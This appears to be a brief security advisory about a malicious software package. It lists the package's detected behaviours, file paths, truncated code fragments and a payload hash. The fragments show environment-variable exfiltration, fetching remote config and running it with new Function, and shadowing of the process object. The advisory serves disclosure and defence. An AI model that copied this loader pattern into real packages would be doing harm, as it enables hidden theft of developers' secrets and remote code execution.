GCVE-110-OSM-2026-5795

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published June 12, 2026

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code. Entrypoint: src/index.js (main: ./src/index.js) Payload: src/features/extras/config.js Key findings: - Environment Variable Exfiltration in src/features/define.js: "JSON.stringify(process.env)" - Environment Variable Exfiltration in src/features/extras/config.js: "process.env.DEV_SECRET_KEY; const v = process.env.DEV_SECRET_VALUE; let ..." - Global Variable Shadowing in src/features/extras/config.js: "const process = {" - Fetch and Eval/Exec in src/features/extras/config.js: "axios.get(src, { headers: { [k]: v } })).data.config; const require = cre..." - Dynamic Code Execution in src/features/extras/config.js: "new Function("require", s)" IOCs: - payloadFileHash: d100938f64c4cc264fd29a4a56d67132ec0d894e860cbfffd4b2fb62f0432422

Download JSON Open in Console